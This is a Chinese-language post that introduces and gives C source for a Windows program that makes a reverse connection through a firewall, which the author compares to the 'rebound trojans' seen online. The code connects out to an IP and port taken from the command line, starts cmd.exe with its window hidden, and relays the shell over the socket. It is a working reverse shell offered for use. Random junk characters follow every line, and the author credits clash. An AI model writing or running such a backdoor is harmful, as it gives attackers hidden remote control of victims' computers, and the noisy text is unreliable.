这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I Ij:3HP
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/* ============================== 9-_Lc<
Rebound port in Windows NT }dMX1e1h8
By wind,2006/7 $ `\qY ^.(
===============================*/ -!5l4
#include kxEq_FX
#include [hot,\+f
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#pragma comment(lib,"wsock32.lib") ?-3G5yy
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void OutputShell(); f9Xa}*
SOCKET sClient; 6+ptL-Zt<
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1~E4]Ef:W
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void main(int argc,char **argv) Uj 4HVd
{ '?.']U,: $
WSADATA stWsaData; $39TP@?:Z)
int nRet; rc>}3?o
SOCKADDR_IN stSaiClient,stSaiServer; Z<AZO ^
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{ P$}b
if(argc != 3) NW;_4g4qE
{ 6nsb)7a
printf("Useage:\n\rRebound DestIP DestPort\n"); +T*??OW@
return; j p~Tlomp
} Z]2z*XD
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WSAStartup(MAKEWORD(2,2),&stWsaData); <Tbl|9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !h}Vz
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stSaiClient.sin_family = AF_INET; 1lA? 5:
stSaiClient.sin_port = htons(0); :wRfk*Ly
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sD?Ynpt
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $Fc}K+
{ >Q"3dw
printf("Bind Socket Failed!\n"); wfu`(4
return; "B"ql-K
} KX!/n`2u
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stSaiServer.sin_family = AF_INET; !J {[XT
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /?Y4C)G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w&es N$2
k[<i+C";
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %M8Q6
{ 6kR3[]:16v
printf("Connect Error!"); Dh#5-Kf%
return; V^n=@CZT9C
} %)dp
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OutputShell(); |7Z}#eP//
} g~9rt_OV
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void OutputShell() /']`}*d
{ C~.\2D`zy
char szBuff[1024]; cR55,DR,#W
SECURITY_ATTRIBUTES stSecurityAttributes; xi,fm
OSVERSIONINFO stOsversionInfo; 5BLBcw\;
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?l
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STARTUPINFO stStartupInfo; f`-vnh^+
char *szShell; e iH&<AH
PROCESS_INFORMATION stProcessInformation; l`X?C~JhJ
unsigned long lBytesRead; I'n}6D.M
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -<T>paE9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZtGkMd$
stSecurityAttributes.lpSecurityDescriptor = 0; 9MQwc
stSecurityAttributes.bInheritHandle = TRUE; |KPNl\%ID
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uz3 ?c6b
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QGErQ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r@'~cF]m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0f3>s>`M
stStartupInfo.wShowWindow = SW_HIDE; w9gfva$&
stStartupInfo.hStdInput = hReadPipe; H#nJWe_9A
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &!'R'{/?X
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GetVersionEx(&stOsversionInfo); O_
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switch(stOsversionInfo.dwPlatformId) j#p3<V S4
{ 23bTCp.d
case 1: DI-CC[
szShell = "command.com"; 4QiV@#o:
break; ,CqGO %DY
default: pf yJL?_%
szShell = "cmd.exe"; 81I9xqvSd~
break; Ib/e\+H\
} *'{9(Oj
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G-vkkNj%e
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send(sClient,szMsg,77,0); _a`/{M|
while(1) <{Rz1CMc
{ {[{jlG4H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pVjOp~=U
if(lBytesRead) pd.pY*B<[
{ tgeXX1Eq!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t""Y -M
send(sClient,szBuff,lBytesRead,0); Nh4&3"g|
} 2G:KaQ)
else FiXE0ZI$0q
{ 'auYmX
lBytesRead=recv(sClient,szBuff,1024,0); Yfz`or\@=
if(lBytesRead<=0) break; ^8?px&B y:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (ze9-!%
} K)n058PO
} Ogh,
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return; ^O"o-3dte
}